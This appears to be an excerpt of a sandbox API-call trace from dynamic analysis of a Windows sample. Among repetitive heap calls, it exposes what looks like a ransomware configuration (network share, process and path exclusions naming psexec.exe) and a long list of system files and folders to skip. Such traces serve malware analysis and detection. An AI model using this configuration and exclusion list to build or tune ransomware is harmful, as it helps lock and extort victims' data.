	[0053.915] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952398
	[0053.915] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0xf0) returned 0x944bf8
	[0053.915] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9521d8
	[0053.915] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0xf4) returned 0x944bf8
	[0053.915] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9522f8
	[0053.915] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0xf8) returned 0x944bf8
	[0053.915] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952458
	[0053.915] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0xfc) returned 0x944bf8
	[0053.916] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952318
	[0053.916] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0x100) returned 0x944bf8
	[0053.916] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952298
	[0053.916] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0x104) returned 0x944bf8
	[0053.916] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9524b8
	[0053.916] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0x108) returned 0x944bf8
	[0053.916] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952478
	[0053.916] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x948938, Size=0xc) returned 0x945368
	[0053.916] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952498
	[0053.916] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x4) returned 0x948928
	[0053.916] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9523b8
	[0053.916] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x948928, Size=0x8) returned 0x948938
	[0053.916] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9522b8
	[0053.916] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x948938, Size=0xc) returned 0x9453b0
	[0053.916] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9524d8
	[0053.916] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9453b0, Size=0x10) returned 0x945398
	[0053.916] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952338
	[0053.916] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945398, Size=0x14) returned 0x952358
	[0053.916] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952558
	[0053.916] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x952358, Size=0x18) returned 0x952418
	[0053.916] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952438
	[0053.916] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x952418, Size=0x1c) returned 0x94f008
	[0053.916] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9524f8
	[0053.916] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94f008, Size=0x20) returned 0x94ecc0
	[0053.916] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952518
	[0053.916] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94ecc0, Size=0x24) returned 0x947ab0
	[0053.916] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952198
	[0053.916] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x947ab0, Size=0x28) returned 0x947d80
	[0053.916] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9521b8
	[0053.916] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x947d80, Size=0x2c) returned 0x94e4a0
	[0053.916] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952358
	[0053.916] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94e4a0, Size=0x30) returned 0x94e510
	[0053.916] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952578
	[0053.916] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94e510, Size=0x34) returned 0x94ba90
	[0053.916] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952418
	[0053.916] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94ba90, Size=0x38) returned 0x94be50
	[0053.916] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952538
	[0053.916] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94be50, Size=0x3c) returned 0x945ae0
	[0053.917] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9526f8
	[0053.917] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945ae0, Size=0x40) returned 0x945e40
	[0053.917] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952778
	[0053.917] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945e40, Size=0x44) returned 0x94f650
	[0053.917] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952718
	[0053.917] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94f650, Size=0x48) returned 0x94f6a0
	[0053.917] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9526b8
	[0053.917] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94f6a0, Size=0x4c) returned 0x942580
	[0053.917] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952838
	[0053.917] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x942580, Size=0x50) returned 0x942580
	[0053.917] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9527f8
	[0053.917] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x942580, Size=0x54) returned 0x945a08
	[0053.917] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952758
	[0053.917] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945a08, Size=0x58) returned 0x945a08
	[0053.917] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952858
	[0053.917] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945a08, Size=0x5c) returned 0x945a08
	[0053.917] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9525d8
	[0053.917] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945a08, Size=0x60) returned 0x945a08
	[0053.917] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952738
	[0053.917] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945a08, Size=0x64) returned 0x936f98
	[0053.917] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952818
	[0053.917] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x68) returned 0x936f98
	[0053.917] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952878
	[0053.917] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x6c) returned 0x936f98
	[0053.917] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952698
	[0053.917] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x70) returned 0x936f98
	[0053.917] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952658
	[0053.917] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x74) returned 0x936f98
	[0053.917] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952598
	[0053.917] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x78) returned 0x936f98
	[0053.917] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9528b8
	[0053.917] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x7c) returned 0x945538
	[0053.917] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9526d8
	[0053.917] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x80) returned 0x945538
	[0053.917] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952898
	[0053.917] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x84) returned 0x945538
	[0053.918] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9528d8
	[0053.918] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x88) returned 0x945538
	[0053.918] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952638
	[0053.918] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x8c) returned 0x945538
	[0053.918] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9525b8
	[0053.918] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x90) returned 0x945538
	[0053.918] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9525f8
	[0053.918] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945368, Size=0x10) returned 0x945398
	[0053.918] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952798
	[0053.918] strtol (in: _Str="30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}", _EndPtr=0x4ff88c, _Radix=0 | out: _EndPtr=0x4ff88c*=",\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}") returned 30
	[0053.918] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945398, Size=0x14) returned 0x952618
	[0053.918] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952678
	[0053.918] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x4) returned 0x948928
	[0053.918] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9528f8
	[0053.918] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x948928, Size=0x8) returned 0x9487d8
	[0053.918] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9487d8, Size=0xc) returned 0x945398
	[0053.918] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945398, Size=0x10) returned 0x9453b0
	[0053.918] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9453b0, Size=0x14) returned 0x952938
	[0053.919] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94e9a8, Size=0x34) returned 0x94bf50
	[0053.919] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x948928, Size=0x8) returned 0x948938
	[0053.919] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x948928, Size=0x8) returned 0x948948
	[0053.919] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x948948, Size=0xc) returned 0x9453e0
	[0053.919] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9487c8, Size=0x8) returned 0x948928
	[0053.919] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94bf50, Size=0x38) returned 0x94bc10
	[0053.919] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9487c8, Size=0x8) returned 0x948948
	[0053.919] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9487c8, Size=0x8) returned 0x9487d8
	[0053.919] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9487c8, Size=0x8) returned 0x9487e8
	[0053.919] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9487e8, Size=0xc) returned 0x945368
	[0053.919] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9487d8, Size=0xc) returned 0x945398
	[0053.919] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9487c8, Size=0x8) returned 0x9487d8
	[0053.919] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x948798) returned 1
	[0053.919] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x948f98) returned 1
	[0053.921] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="ntuser.dat*" | out: DestinationString="ntuser.dat*") 
	[0053.921] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="ntuser.dat*", AllocateDestinationString=1 | out: DestinationString="ntuser.dat*") returned 0x0
	[0053.921] RtlFreeAnsiString (AnsiString="n") 
	[0053.921] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="iconcache.db" | out: DestinationString="iconcache.db") 
	[0053.921] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="iconcache.db", AllocateDestinationString=1 | out: DestinationString="iconcache.db") returned 0x0
	[0053.921] RtlFreeAnsiString (AnsiString="i") 
	[0053.921] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="gdipfont*.dat" | out: DestinationString="gdipfont*.dat") 
	[0053.921] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="gdipfont*.dat", AllocateDestinationString=1 | out: DestinationString="gdipfont*.dat") returned 0x0
	[0053.921] RtlFreeAnsiString (AnsiString="g") 
	[0053.921] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="ntuser.ini" | out: DestinationString="ntuser.ini") 
	[0053.921] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="ntuser.ini", AllocateDestinationString=1 | out: DestinationString="ntuser.ini") returned 0x0
	[0053.921] RtlFreeAnsiString (AnsiString="n") 
	[0053.921] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="usrclass.dat" | out: DestinationString="usrclass.dat") 
	[0053.921] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="usrclass.dat", AllocateDestinationString=1 | out: DestinationString="usrclass.dat") returned 0x0
	[0053.922] RtlFreeAnsiString (AnsiString="u") 
	[0053.922] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="usrclass.dat*" | out: DestinationString="usrclass.dat*") 
	[0053.922] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="usrclass.dat*", AllocateDestinationString=1 | out: DestinationString="usrclass.dat*") returned 0x0
	[0053.922] RtlFreeAnsiString (AnsiString="u") 
	[0053.922] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="boot.ini" | out: DestinationString="boot.ini") 
	[0053.922] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="boot.ini", AllocateDestinationString=1 | out: DestinationString="boot.ini") returned 0x0
	[0053.923] RtlFreeAnsiString (AnsiString="b") 
	[0053.923] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="bootmgr" | out: DestinationString="bootmgr") 
	[0053.923] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="bootmgr", AllocateDestinationString=1 | out: DestinationString="bootmgr") returned 0x0
	[0053.923] RtlFreeAnsiString (AnsiString="b") 
	[0053.923] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="bootnxt" | out: DestinationString="bootnxt") 
	[0053.923] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="bootnxt", AllocateDestinationString=1 | out: DestinationString="bootnxt") returned 0x0
	[0053.923] RtlFreeAnsiString (AnsiString="b") 
	[0053.923] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="desktop.ini" | out: DestinationString="desktop.ini") 
	[0053.923] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="desktop.ini", AllocateDestinationString=1 | out: DestinationString="desktop.ini") returned 0x0
	[0053.923] RtlFreeAnsiString (AnsiString="d") 
	[0053.923] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="ntuser.dat" | out: DestinationString="ntuser.dat") 
	[0053.923] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="ntuser.dat", AllocateDestinationString=1 | out: DestinationString="ntuser.dat") returned 0x0
	[0053.923] RtlFreeAnsiString (AnsiString="n") 
	[0053.924] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="autorun.inf" | out: DestinationString="autorun.inf") 
	[0053.924] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="autorun.inf", AllocateDestinationString=1 | out: DestinationString="autorun.inf") returned 0x0
	[0053.924] RtlFreeAnsiString (AnsiString="a") 
	[0053.924] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="ntldr" | out: DestinationString="ntldr") 
	[0053.924] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="ntldr", AllocateDestinationString=1 | out: DestinationString="ntldr") returned 0x0
	[0053.924] RtlFreeAnsiString (AnsiString="n") 
	[0053.924] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="thumbs.db" | out: DestinationString="thumbs.db") 
	[0053.924] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="thumbs.db", AllocateDestinationString=1 | out: DestinationString="thumbs.db") returned 0x0
	[0053.924] RtlFreeAnsiString (AnsiString="t") 
	[0053.924] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="bootsect.bak" | out: DestinationString="bootsect.bak") 
	[0053.924] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="bootsect.bak", AllocateDestinationString=1 | out: DestinationString="bootsect.bak") returned 0x0
	[0053.924] RtlFreeAnsiString (AnsiString="b") 
	[0053.924] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="bootfont.bin" | out: DestinationString="bootfont.bin") 
	[0053.924] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="bootfont.bin", AllocateDestinationString=1 | out: DestinationString="bootfont.bin") returned 0x0
	[0053.924] RtlFreeAnsiString (AnsiString="b") 
	[0053.924] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*system volume information" | out: DestinationString="*system volume information") 
	[0053.924] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*system volume information", AllocateDestinationString=1 | out: DestinationString="*system volume information") returned 0x0
	[0053.924] RtlFreeAnsiString (AnsiString="*") 
	[0053.924] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*windows.old" | out: DestinationString="*windows.old") 
	[0053.924] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*windows.old", AllocateDestinationString=1 | out: DestinationString="*windows.old") returned 0x0
	[0053.924] RtlFreeAnsiString (AnsiString="*") 
	[0053.924] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*:\\users\\*\\*temp" | out: DestinationString="*:\\users\\*\\*temp") 
	[0053.924] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*:\\users\\*\\*temp", AllocateDestinationString=1 | out: DestinationString="*:\\users\\*\\*temp") returned 0x0
	[0053.925] RtlFreeAnsiString (AnsiString="*") 
	[0053.925] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*msocache" | out: DestinationString="*msocache") 
	[0053.925] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*msocache", AllocateDestinationString=1 | out: DestinationString="*msocache") returned 0x0
	[0053.925] RtlFreeAnsiString (AnsiString="*") 
	[0053.925] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*:\\winnt" | out: DestinationString="*:\\winnt") 
	[0053.925] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*:\\winnt", AllocateDestinationString=1 | out: DestinationString="*:\\winnt") returned 0x0
	[0053.925] RtlFreeAnsiString (AnsiString="*") 
	[0053.925] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*$windows.~ws" | out: DestinationString="*$windows.~ws") 
	[0053.925] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*$windows.~ws", AllocateDestinationString=1 | out: DestinationString="*$windows.~ws") returned 0x0
	[0053.925] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1c) returned 0x94ee78
	[0053.925] RtlFreeAnsiString (AnsiString="*") 
	[0053.925] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*perflogs" | out: DestinationString="*perflogs") 
	[0053.925] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*perflogs", AllocateDestinationString=1 | out: DestinationString="*perflogs") returned 0x0
	[0053.925] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x14) returned 0x953180
	[0053.926] RtlFreeAnsiString (AnsiString="*") 
	[0053.926] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*boot" | out: DestinationString="*boot") 
	[0053.926] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*boot", AllocateDestinationString=1 | out: DestinationString="*boot") returned 0x0
	[0053.926] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xc) returned 0x953cd8
	[0053.926] RtlFreeAnsiString (AnsiString="*") 
	[0053.926] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*:\\windows" | out: DestinationString="*:\\windows") 
	[0053.926] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*:\\windows", AllocateDestinationString=1 | out: DestinationString="*:\\windows") returned 0x0
	[0053.926] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x16) returned 0x952f00
	[0053.926] RtlFreeAnsiString (AnsiString="*") 
	[0053.926] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*:\\program file*\\vmware" | out: DestinationString="*:\\program file*\\vmware") 
	[0053.926] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*:\\program file*\\vmware", AllocateDestinationString=1 | out: DestinationString="*:\\program file*\\vmware") returned 0x0
	[0053.926] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x30) returned 0x94e858
	[0053.926] RtlFreeAnsiString (AnsiString="*") 
	[0053.926] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="\\\\*\\users\\*\\*temp" | out: DestinationString="\\\\*\\users\\*\\*temp") 
	[0053.926] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="\\\\*\\users\\*\\*temp", AllocateDestinationString=1 | out: DestinationString="\\\\*\\users\\*\\*temp") returned 0x0
	[0053.926] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x24) returned 0x947c30
	[0053.926] RtlFreeAnsiString (AnsiString="\\") 
	[0053.926] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="\\\\*\\winnt" | out: DestinationString="\\\\*\\winnt") 
	[0053.926] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="\\\\*\\winnt", AllocateDestinationString=1 | out: DestinationString="\\\\*\\winnt") returned 0x0
	[0053.926] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x14) returned 0x952da0
	[0053.926] RtlFreeAnsiString (AnsiString="\\") 
	[0053.926] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="\\\\*\\windows" | out: DestinationString="\\\\*\\windows") 
	[0053.926] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="\\\\*\\windows", AllocateDestinationString=1 | out: DestinationString="\\\\*\\windows") returned 0x0
	[0053.926] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952e00
	[0053.926] RtlFreeAnsiString (AnsiString="\\") 
	[0053.926] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*\\program file*\\vmware" | out: DestinationString="*\\program file*\\vmware") 
	[0053.927] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*\\program file*\\vmware", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\vmware") returned 0x0
	[0053.927] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x2e) returned 0x94e9a8
	[0053.927] RtlFreeAnsiString (AnsiString="*") 
	[0053.927] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*appdata*microsoft" | out: DestinationString="*appdata*microsoft") 
	[0053.927] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*appdata*microsoft", AllocateDestinationString=1 | out: DestinationString="*appdata*microsoft") returned 0x0
	[0053.927] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x26) returned 0x947ba0
	[0053.927] RtlFreeAnsiString (AnsiString="*") 
	[0053.927] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*appdata*packages" | out: DestinationString="*appdata*packages") 
	[0053.927] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*appdata*packages", AllocateDestinationString=1 | out: DestinationString="*appdata*packages") returned 0x0
	[0053.927] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x24) returned 0x947c90
	[0053.927] RtlFreeAnsiString (AnsiString="*") 
	[0053.927] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*microsoft\\provisioning" | out: DestinationString="*microsoft\\provisioning") 
	[0053.927] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*microsoft\\provisioning", AllocateDestinationString=1 | out: DestinationString="*microsoft\\provisioning") returned 0x0
	[0053.927] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x30) returned 0x94e900
	[0053.927] RtlFreeAnsiString (AnsiString="*") 
	[0053.927] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*dvd maker" | out: DestinationString="*dvd maker") 
	[0053.927] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*dvd maker", AllocateDestinationString=1 | out: DestinationString="*dvd maker") returned 0x0
	[0053.927] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x16) returned 0x952f40
	[0053.927] RtlFreeAnsiString (AnsiString="*") 
	[0053.927] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*Internet Explorer" | out: DestinationString="*Internet Explorer") 
	[0053.927] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*Internet Explorer", AllocateDestinationString=1 | out: DestinationString="*Internet Explorer") returned 0x0
	[0053.927] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x26) returned 0x947d80
	[0053.928] RtlFreeAnsiString (AnsiString="*") 
	[0053.928] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*Mozilla" | out: DestinationString="*Mozilla") 
	[0053.928] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*Mozilla", AllocateDestinationString=1 | out: DestinationString="*Mozilla") returned 0x0
	[0053.928] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x12) returned 0x953100
	[0053.928] RtlFreeAnsiString (AnsiString="*") 
	[0053.928] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*Mozilla*" | out: DestinationString="*Mozilla*") 
	[0053.928] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*Mozilla*", AllocateDestinationString=1 | out: DestinationString="*Mozilla*") returned 0x0
	[0053.928] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x14) returned 0x953140
	[0053.928] RtlFreeAnsiString (AnsiString="*") 
